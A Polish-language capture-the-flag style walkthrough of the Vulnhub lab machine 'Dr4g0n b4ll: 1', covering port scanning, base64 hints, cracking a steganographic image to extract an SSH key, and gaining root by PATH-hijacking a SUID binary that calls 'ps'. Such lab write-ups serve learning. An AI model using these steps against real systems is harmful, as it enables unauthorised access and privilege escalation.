Dr4g0n b4ll: 1

Write-up is in Polish language.

Metainfo

Nazwa: Dr4g0n b4ll: 1
Autor: Mr_xmen
Wypuszczony: 2021-01-14
Do ściągnięcia: Vulnhub
Poziom: Łatwy
System: Linux
Nauczysz się: Metasploit, Base64, Stegcracker, C

Wstęp

Wydany na początku stycznia 2021 Dr4g0n b4ll: 1, jak to autorzy wspominają jest bardzo prostą maszyną, jednak w maju utknąłem na niej w połowie, ponieważ wcześniej nie miałem do czynienia ze stenografią. Jedna po zaliczeniu paru podatnych obrazów, trochę wiedzy przybyło i spróbowałem jeszcze raz. Jak zwykle, żeby wszystko działało pod XCP-NG trzeba zmodyfikować GRUBa. Co do poziomu, to prostota prostocie nierówna, ostatnio też bawiłem się maszyną Hack Me Please: 1, ale ona już dla mnie taka prosta nie była, jak pisał autor. Przypominała bardziej prawdziwą sytuację, niż taką upstrzoną zagadkami. W hack-me-please niestety posiłkowałem się solucją na necie. Inny typ zadania, ale zawsze jest jakieś nowe doświadczenie. Wracając do Dragon Balla, jest ciekawy trik na końcu, który nieraz się wam może przydać, ale to na końcu. :smiley:

Zaczynamy

Jak zwykle skanujemy porty Nmapem. Możemy pod Metasploitem, albo bez. Ja wolę użyć Metasploita, bo mam potem wszystkie ip, hasła, otwarte porty w jednym miejscu. Co do Shella, to niekoniecznie, czasami wolę się wbić normalnie przez SSH, niż potem ulepszać Meterpreter, ale co kto woli.

msf6 exploit(multi/handler) > db_nmap -A -p- 172.16.1.113
...
msf6 exploit(multi/handler) > services
Services
========

host          port  proto  name  state  info
----          ----  -----  ----  -----  ----
172.16.1.113  22    tcp    ssh   open   OpenSSH 7.9p1 Debian 10+deb10u2 protocol 2.0
172.16.1.113  80    tcp    http  open   Apache httpd 2.4.38 (Debian)

Co na stronie piszczy?

Otwarte są tylko 2 porty: 22 i 80. Na Stronie WWW mamy zdjęcia z anime Dragon Ball.

To tylko ozdoba. Prawdziwa przygoda zaczyna się w kodzie strony. Na samym dole jest zakodowany napis:

Po trzykrotnym rozkodowaniu mamy napis DRAGON BALL:

# echo -n VWtaS1FsSXdPVTlKUlVwQ1ZFVjNQUT09 | base64 -d
# echo -n UkZKQlIwOU9JRUpCVEV3PQ== | base64 -d
# echo -n RFJBR09OIEJBTEw= | base64 -d
DRAGON BALL

Radzę pisać z przełącznikiem -n, teraz odkoduje tak samo, ale podczas kodowania base64 bez -n wychodzą inne rzeczy, Echo koduje dodatkowo znak nowej linii 0x0a.

Skanowanie Gobusterem:

# gobuster dir -u http://172.16.1.124 -w /usr/share/wordlists/dirb/common.txt

I mamy parę ciekawych rzeczy: http://172.16.1.124/robots.txt

Ponownie dekodujemy:

# echo -n eW91IGZpbmQgdGhlIGhpZGRlbiBkaXI=  | base64 -d
# echo -n ZVc5MUlHWnBibVFnZEdobElHaHBaR1JsYmlCa2FYST0K  | base64 -d
# echo -n eW91IGZpbmQgdGhlIGhpZGRlbiBkaXI=  | base64 -d
you find the hidden dir 

Jest komunikat, żeby szukać ukryty katalog: http://172.16.1.113/DRAGON%20BALL/Vulnhub/

Poniżej zawartość:

http://172.16.1.113/DRAGON%20BALL/Vulnhub/login.html

Stenografia

Strona poprawnie nie działa, ale mamy login. i jest ciekawy obrazek aj.jpg:

Rozkodujmy go:

# root@kali:/home/szikers/dr4g0n_b4ll# stegcracker aj.jpg
StegCracker 2.1.0 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2021 - Luke Paris (Paradoxis)

StegCracker has been retired following the release of StegSeek, which
will blast through the rockyou.txt wordlist within 1.9 second as opposed
to StegCracker which takes ~5 hours.

StegSeek can be found at: https://github.com/RickdeJager/stegseek

No wordlist was specified, using default rockyou.txt wordlist.
Counting lines in wordlist..
Attacking file 'aj.jpg' with wordlist '/usr/share/wordlists/rockyou.txt'..
Successfully cracked file with password: love
Tried 451 passwords
Your file has been written to: aj.jpg.out
love

Podglądamy co to za plik:

# root@kali:/home/szikers/dr4g0n_b4ll# file aj.jpg.out
aj.jpg.out: OpenSSH private key

Lądujemy do Shella

Mamy klucz, więc możemy się dostać do shella, spróbujmy z loginem xmen:

# ssh -i id_rsa xmen@172.16.1.113

Poszło: Mamy ciekawy katalog script, ale poszukajmy plików, które mają ustawiony bit suid, może się coś ciekawego znajdzie:

# xmen@debian:~/script$ find / -perm -4000 2> /dev/null
/home/xmen/script/shell
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/umount
/usr/bin/su
/usr/bin/mount
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd

Ciekawa jest zawartość: /home/xmen/script/shell

# xmen@debian:~$ ls script/ -lah
total 32K
drwxr-xr-x 2 root root 4.0K Jan  4  2021 .
drwxr-xr-x 5 xmen xmen 4.0K Aug  9 07:17 ..
-rw-r--r-- 1 root root   75 Jan  4  2021 demo.c
-rwsr-xr-x 1 root root  17K Jan  4  2021 shell

W demo.c widać krótki kod źródłowy. Program przechodzi na uprawnienia roota i uruchamia ps:

demo.c

#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("ps");
}

Program ./shell uruchamia ps z uprawnieniami roota:

# xmen@debian:~/script$ ./shell
  PID TTY          TIME CMD
  5013 pts/0    00:00:00 shell
  5014 pts/0    00:00:00 sh
  5015 pts/0    00:00:00 ps

Nie mamy podanej całej ścieżki do ps, więc możemy to wykorzystać. Stwórzmy program w katalogu domowym:

# file=/home/xmen/ps; touch $file && echo '/bin/bash' > $file && chmod +x $file

A następnie wyedytujmy zmienną PATH, żeby na początku szukała ps w naszym katalogu domowym: PATH=”/home/xmen:$(echo $PATH)”

# xmen@debian:~/script$ echo $PATH
/home/xmen:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
# xmen@debian:~/script$ ./shell
# root@debian:~/script# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(xmen)

Słowo na koniec

I to właśnie jest przestroga, żeby bardzo uważnie pisać pliki, jeżeli chcemy dać uprawnieniami suid. ps przecież jest niegroźny, ale można zakombinować i zrobić, żeby był niebezpieczny.

Zostaw komentarz